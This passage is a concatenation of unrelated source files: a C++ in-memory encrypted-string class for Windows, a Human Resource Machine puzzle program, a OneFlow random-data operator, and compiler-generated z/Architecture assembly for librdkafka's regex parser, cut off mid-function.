&clearTextLength); if (FAILED(hr)) { // caller needs to know he's exceeded the max string size. ASSERT(false); // the string is too long. Make a truncated copy, and encrypt that // instead. clearTextLength = MAX_CHARACTER_COUNT; } if (clearTextLength == 0) { cypherText = EMPTY_STRING; isEncrypted = false; break; } size_t bufSizeInChars = 0; cypherText = CreateRoundedBuffer(clearTextLength, bufSizeInChars); ::CopyMemory( cypherText, clearText, clearTextLength * sizeof WCHAR); hr = Win::CryptProtectMemory(cypherText, bufSizeInChars * sizeof WCHAR); if (FAILED(hr)) { // I can't think of any reason this would fail in the normal // course of things, so I'd like to know about it. ASSERT(false); isEncrypted = false; } else { isEncrypted = true; } } while (0); ASSERT(cypherText); ASSERT(cleartextCopyCount == 0); } // decrypts the blob and returns a copy of the cleartext, but does not // bump up the outstanding copy counter. Result must be freed with // delete[]. // // May return 0. // // Used internally to prevent infinite mutual recursion WCHAR* EncryptedString::InternalDecrypt() const { size_t bufSizeInChars = 0; WCHAR* result = CreateRoundedBuffer(clearTextLength, bufSizeInChars); ::CopyMemory(result, cypherText, bufSizeInChars * sizeof WCHAR); if (isEncrypted) { HRESULT hr = Win::CryptUnprotectMemory(result, bufSizeInChars * sizeof WCHAR); if (FAILED(hr)) { ASSERT(false); // this situation is very bad. We can't just return an empty string // to the caller, since that might represent a password to be // set -- which would result in a null password. The only correct // thing to do is bail out. delete[] result; result = 0; throw DecryptionFailureException(); } } return result; } WCHAR* EncryptedString::GetClearTextCopy() const { // Even if we fail the decryption, we bump the count so that it's easy for // the caller to always balance GetClearTextCopy with DestroyClearTextCopy WCHAR* result = InternalDecrypt(); ++cleartextCopyCount; return result; } void EncryptedString::Encrypt(const WCHAR* clearText) { ASSERT(clearText); // don't reset the instance unless you have destroyed all the cleartext // copies. ASSERT(cleartextCopyCount == 0); Init(clearText); } bool EncryptedString::operator==(const EncryptedString& rhs) const { // handle the a == a case if (this == &rhs) { return true; } if (GetLength() != rhs.GetLength()) { // can't be the same if lengths differ... return false; } // Two strings are the same if their decoded contents are the same. WCHAR* clearTextThis = GetClearTextCopy(); WCHAR* clearTextThat = rhs.GetClearTextCopy(); bool result = false; if (clearTextThis && clearTextThat) { result = (wcscmp(clearTextThis, clearTextThat) == 0); } DestroyClearTextCopy(clearTextThis); rhs.DestroyClearTextCopy(clearTextThat); return result; } size_t EncryptedString::GetLength() const { #ifdef DBG // we don't use GetClearTextCopy, that may result in infinite recursion // since this function is called internally. WCHAR* clearTextThis = InternalDecrypt(); size_t len = 0; if (clearTextThis) { HRESULT hr = StringCchLength( clearTextThis, MAX_CHARACTER_COUNT * sizeof WCHAR, &len); if (FAILED(hr)) { // we should be guaranteeing that the result of GetClearTextCopy // is always null-terminated, so a failure here represents a bug // in our implementation. ASSERT(false); len = 0; } } InternalDestroy(clearTextThis); ASSERT(len == clearTextLength); #endif return clearTextLength; } // destroys a clear text copy without changing the outstanding copies count. void EncryptedString::InternalDestroy(WCHAR* cleartext) const { if (cleartext) { ::SecureZeroMemory(cleartext, clearTextLength * sizeof WCHAR); delete[] cleartext; } } void EncryptedString::DestroyClearTextCopy(WCHAR* cleartext) const { // we expect that cleartext is usually non-null. It may not be, if // GetClearTextCopy failed, however. // ASSERT(cleartext); // we should have some outstanding copies. If not, then the caller has // called DestroyClearTextCopy more times than he called GetClearTextCopy, // and therefore has a bug. ASSERT(cleartextCopyCount); InternalDestroy(cleartext); --cleartextCopyCount; }
-- HUMAN RESOURCE MACHINE PROGRAM -- a: b: INBOX JUMPN c INBOX JUMPN g JUMP e c: INBOX JUMPN d JUMP f COMMENT 0 d: e: COPYFROM 4 -- default 0 OUTBOX JUMP b f: g: COPYFROM 5 -- default 1 OUTBOX JUMP a DEFINE COMMENT 0 eJxTZ2Bg2Jz36jmQYuiRe6j5QK5iWphR+VQQv1FJNjRHSzYUwr6tulf7tmqw8QMNEL/IvXRKkftz3QKP F3o7fVhdXCMsM6dFepZMiwyoNI0rmdwZF914O94ysyXhg4lu4lMdkJ5fxY+0lhZXTAOxVxTVzeqoq5vV 1FA6pbYpvUu5xa9CuUUjVq1ZLMCw/p/d1MqX+gyjYBSMApoDAFS8OHY;
/* Copyright 2020 The OneFlow Authors. All rights reserved. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ #include "oneflow/core/operator/decode_random_op.h" namespace oneflow { Maybe<void> DecodeRandomOp::InitFromOpConf() { CHECK(op_conf().has_decode_random_conf()); if (op_conf().decode_random_conf().has_tick()) { EnrollInputBn("tick", false); } EnrollOutputBn("out", false); return Maybe<void>::Ok(); } void DecodeRandomOp::VirtualGenKernelConf( std::function<const BlobDesc*(const std::string&)> GetBlobDesc4BnInOp, const ParallelContext* parallel_ctx, KernelConf* kernel_conf) const { kernel_conf->mutable_decode_random_conf()->set_random_seed(NewRandomSeed()); } Maybe<void> DecodeRandomOp::InferLogicalOutBlobDescs( const std::function<BlobDesc*(const std::string&)>& BlobDesc4BnInOp, const ParallelDesc& parallel_desc) const { BlobDesc* out_blob_desc = BlobDesc4BnInOp("out"); const DecodeRandomOpConf& conf = op_conf().decode_random_conf(); DimVector dim_vec(1 + conf.shape().dim_size()); int64_t batch_size = conf.batch_size(); dim_vec[0] = batch_size; FOR_RANGE(size_t, j, 1, dim_vec.size()) { dim_vec[j] = conf.shape().dim(j - 1); } out_blob_desc->mut_shape() = Shape(dim_vec); out_blob_desc->set_data_type(conf.data_type()); return Maybe<void>::Ok(); } Maybe<void> DecodeRandomOp::InferOutBlobDescs( const std::function<BlobDesc*(const std::string&)>& GetBlobDesc4BnInOp, const ParallelContext* parallel_ctx) const { BlobDesc* out_blob_desc = GetBlobDesc4BnInOp("out"); const DecodeRandomOpConf& conf = op_conf().decode_random_conf(); DimVector dim_vec(1 + conf.shape().dim_size()); int64_t batch_size = conf.batch_size(); CHECK_GE_OR_RETURN(batch_size, parallel_ctx->parallel_num()); CHECK_EQ_OR_RETURN(batch_size % parallel_ctx->parallel_num(), 0); dim_vec[0] = batch_size / parallel_ctx->parallel_num(); FOR_RANGE(size_t, j, 1, dim_vec.size()) { dim_vec[j] = conf.shape().dim(j - 1); } out_blob_desc->mut_shape() = Shape(dim_vec); out_blob_desc->set_data_type(conf.data_type()); return Maybe<void>::Ok(); } Maybe<void> DecodeRandomOp::GetSbpSignatures(cfg::SbpSignatureList* sbp_sig_list) const { SbpSignatureBuilder() .Broadcast(input_bns()) .Split(output_bns(), 0) .Build(sbp_sig_list->mutable_sbp_signature()->Add()); return Maybe<void>::Ok(); } REGISTER_OP(OperatorConf::kDecodeRandomConf, DecodeRandomOp); REGISTER_OP_SAME_OUTPUT_BLOB_REGST_NUM(OperatorConf::kDecodeRandomConf, 1); } // namespace oneflow
*PROCESS DUPALIAS * * Compiled by DCC Version 2.25.07 Mar 6 2021 08:51:07 * on Fri Apr 30 15:36:24 2021 * WXTRN @@ZARCH# * * * * Code Section * @CODE ALIAS C'@REGEXP' @CODE CSECT @CODE AMODE ANY @CODE RMODE ANY @DATA ALIAS C'@regexp' setjmp ALIAS C'setjmp' EXTRN setjmp malloc ALIAS C'malloc' EXTRN malloc fprintf ALIAS C'fprintf' EXTRN fprintf __assert ALIAS C'@@ASSERT' EXTRN __assert __stderrp ALIAS C'@@STDERP' __stderrp DXD 0F calloc ALIAS C'calloc' EXTRN calloc free ALIAS C'free' EXTRN free longjmp ALIAS C'longjmp' EXTRN longjmp * * * * ....... start of rd_calloc @LNAME751 DS 0H DC X'00000009' DC C'rd_calloc' DC X'00' rd_calloc DCCPRLG CINDEX=751,BASER=12,FRAME=208,ENTRY=NO,ARCH=ZARCH,LNA* MEADDR=@LNAME751 * ******* End of Prologue * * * *** void *p = calloc(num, sz); LG 15,0(0,1) ; num STG 15,176(0,13) LG 15,8(0,1) ; sz STG 15,184(0,13) LA 1,176(0,13) LG 15,@lit_751_0 ; calloc @@gen_label0 DS 0H BALR 14,15 @@gen_label1 DS 0H LGR 2,15 * *** ((p) ? (void)0 : __assert(__func__, "C:\\asgkafka\\librdkaf\ * ka\\src\\rd.h", 122, "p")); LTGR 15,2 BNZ @L32 @L31 DS 0H LG 15,@lit_751_1 STG 15,176(0,13) LG 15,@lit_751_2 STG 15,184(0,13) MVGHI 192(13),122 LA 15,32(0,15) STG 15,200(0,13) LA 1,176(0,13) LG 15,@lit_751_3 ; __assert @@gen_label3 DS 0H BALR 14,15 @@gen_label4 DS 0H @L32 DS 0H * *** return p; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_751 DC F'208' @lit_751_0 DC AD(calloc) @lit_751_3 DC AD(__assert) @lit_751_2 DC AD(@strings@) @lit_751_1 DC AD(@DATA) DROP 12 * * DSECT for automatic variables in "rd_calloc" * (FUNCTION #751) * @AUTO#rd_calloc DSECT DS XL168 * @CODE CSECT * * * * ....... start of rd_malloc @LNAME752 DS 0H DC X'00000009' DC C'rd_malloc' DC X'00' rd_malloc DCCPRLG CINDEX=752,BASER=12,FRAME=208,ENTRY=NO,ARCH=ZARCH,LNA* MEADDR=@LNAME752 * ******* End of Prologue * * * *** void *p = malloc(sz); LG 15,0(0,1) ; sz STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_752_5 ; malloc @@gen_label5 DS 0H BALR 14,15 @@gen_label6 DS 0H LGR 2,15 * *** ((p) ? (void)0 : __assert(__func__, "C:\\asgkafka\\librdkaf\ * ka\\src\\rd.h", 128, "p")); LTGR 15,2 BNZ @L34 @L33 DS 0H LG 15,@lit_752_6 LA 15,10(0,15) STG 15,176(0,13) LG 15,@lit_752_7 STG 15,184(0,13) MVGHI 192(13),128 LA 15,32(0,15) STG 15,200(0,13) LA 1,176(0,13) LG 15,@lit_752_8 ; __assert @@gen_label8 DS 0H BALR 14,15 @@gen_label9 DS 0H @L34 DS 0H * *** return p; LGR 15,2 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_752 DC F'208' @lit_752_5 DC AD(malloc) @lit_752_8 DC AD(__assert) @lit_752_7 DC AD(@strings@) @lit_752_6 DC AD(@DATA) DROP 12 * * DSECT for automatic variables in "rd_malloc" * (FUNCTION #752) * @AUTO#rd_malloc DSECT DS XL168 * @CODE CSECT * * * * ....... start of rd_free @LNAME754 DS 0H DC X'00000007' DC C'rd_free' DC X'00' rd_free DCCPRLG CINDEX=754,BASER=12,FRAME=176,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME754 * ******* End of Prologue * * * *** free(ptr); LG 15,0(0,1) ; ptr STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_754_10 ; free @@gen_label10 DS 0H BALR 14,15 @@gen_label11 DS 0H * *** } @ret_lab_754 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_754 DC F'176' @lit_754_10 DC AD(free) DROP 12 * * DSECT for automatic variables in "rd_free" * (FUNCTION #754) * @AUTO#rd_free DSECT DS XL168 * @CODE CSECT * * * * ....... start of isalpharune @LNAME768 DS 0H DC X'0000000B' DC C'isalpharune' DC X'00' isalpharune DCCPRLG CINDEX=768,BASER=12,FRAME=168,SAVEAREA=NO,ENTRY=NO,* ARCH=ZARCH,LNAMEADDR=@LNAME768 * ******* End of Prologue * * L 15,4(0,1) ; c * *** * *** return (c >= 'A' && c <= 'Z') || (c >= 'a' && c <= 'z'); CLFI 15,X'000000C1' BL @L44 CLFI 15,X'000000E9' BNH @L45 @L44 DS 0H CLFI 15,X'00000081' BL @L47 CLFI 15,X'000000A9' BH @L47 @L45 DS 0H LHI 15,1 ; 1 B @L46 @L47 DS 0H LHI 15,0 ; 0 @L46 DS 0H LGFR 15,15 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "isalpharune" * (FUNCTION #768) * @AUTO#isalpharune DSECT DS XL168 * @CODE CSECT * * * * ....... start of toupperrune @LNAME769 DS 0H DC X'0000000B' DC C'toupperrune' DC X'00' toupperrune DCCPRLG CINDEX=769,BASER=12,FRAME=168,SAVEAREA=NO,ENTRY=NO,* ARCH=ZARCH,LNAMEADDR=@LNAME769 * ******* End of Prologue * * L 15,4(0,1) ; c * *** * *** if (c >= 'a' && c <= 'z') CLFI 15,X'00000081' BL @L48 CLFI 15,X'000000A9' BH @L48 * *** return c - 'a' + 'A'; AHI 15,-129 AHI 15,193 LLGFR 15,15 B @ret_lab_769 @L48 DS 0H * *** return c; LLGFR 15,15 * *** } @ret_lab_769 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "toupperrune" * (FUNCTION #769) * @AUTO#toupperrune DSECT DS XL168 * @CODE CSECT * * * * ....... start of chartorune @LNAME770 DS 0H DC X'0000000A' DC C'chartorune' DC X'00' chartorune DCCPRLG CINDEX=770,BASER=0,FRAME=168,SAVEAREA=NO,ENTRY=NO,AR* CH=ZARCH,LNAMEADDR=@LNAME770 * ******* End of Prologue * * * *** * *** *r = *s; LG 15,0(0,1) ; r LG 1,8(0,1) ; s LLC 1,0(0,1) ST 1,0(0,15) ; r * *** return 1; LGHI 15,1 ; 1 * *** } * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue * * DSECT for automatic variables in "chartorune" * (FUNCTION #770) * @AUTO#chartorune DSECT DS XL168 * @CODE CSECT * * * * ....... start of die @LNAME771 DS 0H DC X'00000003' DC C'die' DC X'00' die DCCPRLG CINDEX=771,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME771 * ******* End of Prologue * * * *** g->error = message; LG 15,0(0,1) ; g LG 1,8(0,1) ; message STG 1,192(0,15) ; offset of error in Restate * *** longjmp(g->kaboom, 1); LA 15,200(0,15) STG 15,168(0,13) MVGHI 176(13),1 LA 1,168(0,13) LG 15,@lit_771_15 ; longjmp @@gen_label18 DS 0H BALR 14,15 @@gen_label19 DS 0H * *** } @ret_lab_771 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DS 0D @FRAMESIZE_771 DC F'184' @lit_771_15 DC AD(longjmp) DROP 12 * * DSECT for automatic variables in "die" * (FUNCTION #771) * @AUTO#die DSECT DS XL168 * @CODE CSECT * * * * ....... start of canon @LNAME772 DS 0H DC X'00000005' DC C'canon' DC X'00' canon DCCPRLG CINDEX=772,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME772 * ******* End of Prologue * * * *** Rune u = toupperrune(c); L 2,4(0,1) ; c LLGFR 15,2 STG 15,176(0,13) LA 1,176(0,13) LG 15,@lit_772_17 ; toupperrune @@gen_label20 DS 0H BALR 14,15 @@gen_label21 DS 0H * *** if (c >= 128 && u < 128) CLFI 2,X'00000080' BL @L49 CLFI 15,X'00000080' BNL @L49 * *** return c; LLGFR 15,2 B @ret_lab_772 DS 0D @FRAMESIZE_772 DC F'184' @lit_772_17 DC AD(toupperrune) @L49 DS 0H * *** return u; LLGFR 15,15 * *** } @ret_lab_772 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "canon" * (FUNCTION #772) * @AUTO#canon DSECT DS XL168 canon#u#0 DS 1F ; u * @CODE CSECT * * * * ....... start of hex @LNAME773 DS 0H DC X'00000003' DC C'hex' DC X'00' hex DCCPRLG CINDEX=773,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME773 * ******* End of Prologue * * * *** if (c >= '0' && c <= '9') return c - '0'; L 15,12(0,1) ; c CHI 15,240 BL @L50 CHI 15,249 BH @L50 AHI 15,-240 LGFR 15,15 B @ret_lab_773 DS 0D @FRAMESIZE_773 DC F'184' @lit_773_20 DC AD(die) @lit_773_19 DC AD(@strings@) @L50 DS 0H * *** if (c >= 'a' && c <= 'f') return c - 'a' + 0xA; CHI 15,129 BL @L51 CHI 15,134 BH @L51 AHI 15,-129 AHI 15,10 LGFR 15,15 B @ret_lab_773 @L51 DS 0H * *** if (c >= 'A' && c <= 'F') return c - 'A' + 0xA; CHI 15,193 BL @L52 CHI 15,198 BH @L52 AHI 15,-193 AHI 15,10 LGFR 15,15 B @ret_lab_773 @L52 DS 0H * *** die(g, "invalid escape sequence"); LG 15,0(0,1) ; g STG 15,168(0,13) LG 15,@lit_773_19 LA 15,34(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_773_20 ; die @@gen_label30 DS 0H BALR 14,15 @@gen_label31 DS 0H * *** return 0; LGHI 15,0 ; 0 * *** } @ret_lab_773 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "hex" * (FUNCTION #773) * @AUTO#hex DSECT DS XL168 * @CODE CSECT * * * * ....... start of dec @LNAME774 DS 0H DC X'00000003' DC C'dec' DC X'00' dec DCCPRLG CINDEX=774,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME774 * ******* End of Prologue * * * *** if (c >= '0' && c <= '9') return c - '0'; L 15,12(0,1) ; c CHI 15,240 BL @L53 CHI 15,249 BH @L53 AHI 15,-240 LGFR 15,15 B @ret_lab_774 DS 0D @FRAMESIZE_774 DC F'184' @lit_774_24 DC AD(die) @lit_774_23 DC AD(@strings@) @L53 DS 0H * *** die(g, "invalid quantifier"); LG 15,0(0,1) ; g STG 15,168(0,13) LG 15,@lit_774_23 LA 15,58(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_774_24 ; die @@gen_label34 DS 0H BALR 14,15 @@gen_label35 DS 0H * *** return 0; LGHI 15,0 ; 0 * *** } @ret_lab_774 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "dec" * (FUNCTION #774) * @AUTO#dec DSECT DS XL168 * @CODE CSECT * * * * ....... start of nextrune @LNAME775 DS 0H DC X'00000008' DC C'nextrune' DC X'00' nextrune DCCPRLG CINDEX=775,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME775 * ******* End of Prologue * * * *** g->source += chartorune(&g->yychar, g->source); LG 2,0(0,1) ; g LG 3,24(0,2) LA 15,172(0,2) STG 15,168(0,13) LG 15,24(0,2) STG 15,176(0,13) LA 1,168(0,13) LG 4,@lit_775_27 ; chartorune LGR 15,4 @@gen_label36 DS 0H BALR 14,15 @@gen_label37 DS 0H LGFR 15,15 LA 15,0(15,3) STG 15,24(0,2) * *** if (g->yychar == '\\') { CLFHSI 172(2),224 BNE @L54 * *** g->source += chartorune(&g->yychar, g->source); LG 3,24(0,2) LA 15,172(0,2) STG 15,168(0,13) LG 15,24(0,2) STG 15,176(0,13) LA 1,168(0,13) LGR 15,4 @@gen_label39 DS 0H BALR 14,15 @@gen_label40 DS 0H LGFR 15,15 LA 15,0(15,3) STG 15,24(0,2) * *** switch (g->yychar) { B @L55 DS 0D @FRAMESIZE_775 DC F'184' @lit_775_27 DC AD(chartorune) @lit_775_30 DC AD(die) @lit_775_29 DC AD(@strings@) @lit_775_37 DC AD(hex) @lit_775_50 DC AD(isalpharune) * *** case 0: die(g, "unterminated escape sequence"); @L57 DS 0H STG 2,168(0,13) LG 15,@lit_775_29 LA 15,78(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_775_30 ; die @@gen_label41 DS 0H BALR 14,15 @@gen_label42 DS 0H * *** case 'f': g->yychar = '\f'; return 0; @L58 DS 0H MVHI 172(2),12 ; offset of yychar in Restate LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'n': g->yychar = '\n'; return 0; @L59 DS 0H MVHI 172(2),21 ; offset of yychar in Restate LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'r': g->yychar = '\r'; return 0; @L60 DS 0H MVHI 172(2),13 ; offset of yychar in Restate LGHI 15,0 ; 0 B @ret_lab_775 * *** case 't': g->yychar = '\t'; return 0; @L61 DS 0H MVHI 172(2),5 ; offset of yychar in Restate LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'v': g->yychar = '\v'; return 0; @L62 DS 0H MVHI 172(2),11 ; offset of yychar in Restate LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'c': @L63 DS 0H * *** g->yychar = (*g->source++) & 31; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) IC 15,0(0,15) NILF 15,X'0000001F' ST 15,172(0,2) * *** return 0; LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'x': @L64 DS 0H * *** g->yychar = hex(g, *g->source++) << 4; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LG 3,@lit_775_37 ; hex LGR 15,3 @@gen_label43 DS 0H BALR 14,15 @@gen_label44 DS 0H SLL 15,4(0) ST 15,172(0,2) * *** g->yychar += hex(g, *g->source++); LR 4,15 LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label45 DS 0H BALR 14,15 @@gen_label46 DS 0H ALR 4,15 ST 4,172(0,2) * *** if (g->yychar == 0) { CLFHSI 172(2),0 BNE @L65 * *** g->yychar = '0'; MVHI 172(2),240 ; offset of yychar in Restate * *** return 1; LGHI 15,1 ; 1 B @ret_lab_775 * *** } @L65 DS 0H * *** return 0; LGHI 15,0 ; 0 B @ret_lab_775 * *** case 'u': @L66 DS 0H * *** g->yychar = hex(g, *g->source++) << 12; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LG 3,@lit_775_37 ; hex LGR 15,3 @@gen_label48 DS 0H BALR 14,15 @@gen_label49 DS 0H SLL 15,12(0) ST 15,172(0,2) * *** g->yychar += hex(g, *g->source++) << 8; LR 4,15 LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label50 DS 0H BALR 14,15 @@gen_label51 DS 0H SLL 15,8(0) ALR 4,15 ST 4,172(0,2) * *** g->yychar += hex(g, *g->source++) << 4; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label52 DS 0H BALR 14,15 @@gen_label53 DS 0H SLL 15,4(0) ALR 4,15 ST 4,172(0,2) * *** g->yychar += hex(g, *g->source++); LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) STG 2,168(0,13) LGFR 15,15 STG 15,176(0,13) LA 1,168(0,13) LGR 15,3 @@gen_label54 DS 0H BALR 14,15 @@gen_label55 DS 0H ALR 4,15 ST 4,172(0,2) * *** if (g->yychar == 0) { CLFHSI 172(2),0 BNE @L67 * *** g->yychar = '0'; MVHI 172(2),240 ; offset of yychar in Restate * *** return 1; LGHI 15,1 ; 1 B @ret_lab_775 * *** } @L67 DS 0H * *** return 0; LGHI 15,0 ; 0 B @ret_lab_775 * *** } @L55 DS 0H L 15,172(0,2) ; offset of yychar in Restate CLFI 15,X'00000083' BNL @@gen_label57 CLFI 15,X'00000000' BE @L57 B @L56 @@gen_label57 DS 0H CLFI 15,X'00000095' BNL @@gen_label58 CLFI 15,X'00000083' BE @L63 CLFI 15,X'00000086' BE @L58 B @L56 @@gen_label58 DS 0H CLFI 15,X'00000099' BNL @@gen_label59 CLFI 15,X'00000095' BE @L59 B @L56 @@gen_label59 DS 0H CLFI 15,X'000000A3' BNL @@gen_label60 CLFI 15,X'00000099' BE @L60 B @L56 @@gen_label60 DS 0H AHI 15,-163 CLFI 15,X'00000004' BH @L56 LLGFR 15,15 LA 1,@@gen_label61 SLLG 15,15,3(0) LG 15,0(1,15) B 0(15,12) @@gen_label61 DS 0D DC AD(@L61-@REGION_775_1) DC AD(@L66-@REGION_775_1) DC AD(@L62-@REGION_775_1) DC AD(@L56-@REGION_775_1) DC AD(@L64-@REGION_775_1) @L56 DS 0H * *** if (__strchr("BbDdSsWw^$\\.*+?()[]{}|0123456789",g->yych\ * ar)) LG 15,@lit_775_29 LA 15,108(0,15) LGF 1,172(0,2) LGHI 3,0 @@gen_label62 DS 0H IC 3,0(0,15) CLGR 3,1 BE @@gen_label63 CLI 0(15),0 BE @@gen_label64 LA 15,1(0,15) B @@gen_label62 @@gen_label64 DS 0H LGHI 15,0 @@gen_label63 DS 0H LTGR 15,15 BZ @L68 * *** return 1; LGHI 15,1 ; 1 B @ret_lab_775 @L68 DS 0H * *** if (isalpharune(g->yychar) || g->yychar == '_') LLGF 15,172(0,2) STG 15,168(0,13) LA 1,168(0,13) LG 15,@lit_775_50 ; isalpharune @@gen_label66 DS 0H BALR 14,15 @@gen_label67 DS 0H LTR 15,15 BNZ @L70 CLFHSI 172(2),109 BNE @L69 @L70 DS 0H * *** die(g, "invalid escape character"); STG 2,168(0,13) LG 15,@lit_775_29 LA 15,142(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_775_30 ; die @@gen_label70 DS 0H BALR 14,15 @@gen_label71 DS 0H @L69 DS 0H * *** return 0; LGHI 15,0 ; 0 B @ret_lab_775 * *** } @L54 DS 0H * *** return 0; LGHI 15,0 ; 0 * *** } @ret_lab_775 DS 0H * * **** Start of Epilogue DCCEPIL * * **** End of Epilogue DROP 12 * * DSECT for automatic variables in "nextrune" * (FUNCTION #775) * @AUTO#nextrune DSECT DS XL168 * @CODE CSECT * * * * ....... start of lexcount @LNAME776 DS 0H DC X'00000008' DC C'lexcount' DC X'00' lexcount DCCPRLG CINDEX=776,BASER=12,FRAME=184,ENTRY=NO,ARCH=ZARCH,LNAM* EADDR=@LNAME776 * ******* End of Prologue * * * *** g->yychar = *g->source++; LG 2,0(0,1) ; g LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** * *** g->yymin = dec(g, g->yychar); STG 2,168(0,13) LGF 15,172(0,2) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_776_56 ; dec @@gen_label72 DS 0H BALR 14,15 @@gen_label73 DS 0H ST 15,184(0,2) * *** g->yychar = *g->source++; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** while (g->yychar != ',' && g->yychar != '}') { B @L74 DS 0D @FRAMESIZE_776 DC F'184' @lit_776_56 DC AD(dec) @lit_776_59 DC AD(die) @lit_776_58 DC AD(@strings@) @L73 DS 0H * *** g->yymin = g->yymin * 10 + dec(g, g->yychar); L 15,184(0,2) ; offset of yymin in Restate LR 3,15 ; *0xa SLL 3,2(0) ; . ALR 3,15 ; . SLL 3,1(0) ; . STG 2,168(0,13) LGF 15,172(0,2) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_776_56 ; dec @@gen_label74 DS 0H BALR 14,15 @@gen_label75 DS 0H AR 3,15 ST 3,184(0,2) * *** g->yychar = *g->source++; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** } @L74 DS 0H CLFHSI 172(2),107 BE @L75 CLFHSI 172(2),208 BNE @L73 @L75 DS 0H * *** if (g->yymin >= 255) CHSI 184(2),255 BL @L76 * *** die(g, "numeric overflow"); STG 2,168(0,13) LG 15,@lit_776_58 LA 15,168(0,15) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_776_59 ; die @@gen_label79 DS 0H BALR 14,15 @@gen_label80 DS 0H @L76 DS 0H * *** * *** if (g->yychar == ',') { CLFHSI 172(2),107 BNE @L77 * *** g->yychar = *g->source++; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** if (g->yychar == '}') { CLFHSI 172(2),208 BNE @L78 * *** g->yymax = 255; MVHI 188(2),255 ; offset of yymax in Restate * *** } else { B @L85 @L78 DS 0H * *** g->yymax = dec(g, g->yychar); STG 2,168(0,13) LGF 15,172(0,2) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_776_56 ; dec @@gen_label83 DS 0H BALR 14,15 @@gen_label84 DS 0H ST 15,188(0,2) * *** g->yychar = *g->source++; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** while (g->yychar != '}') { B @L83 @L82 DS 0H * *** g->yymax = g->yymax * 10 + dec(g, g->yychar); L 15,188(0,2) ; offset of yymax in Restate LR 3,15 ; *0xa SLL 3,2(0) ; . ALR 3,15 ; . SLL 3,1(0) ; . STG 2,168(0,13) LGF 15,172(0,2) STG 15,176(0,13) LA 1,168(0,13) LG 15,@lit_776_56 ; dec @@gen_label85 DS 0H BALR 14,15 @@gen_label86 DS 0H AR 3,15 ST 3,188(0,2) * *** g->yychar = *g->source++; LG 15,24(0,2) LA 1,1(0,15) STG 1,24(0,2) LLC 15,0(0,15) ST 15,172(0,2) * *** } @L83 DS 0H CLFHSI 172(2),208 BNE @L82 * *** if (g->yymax >= 255) CHSI 188(2),255 BL @L85 * *** die(g, "numeric overflow"); STG 2,168(0,13) LG 15,@lit_776_58 LA 15,168(0,15) STG 15,176(0,13) 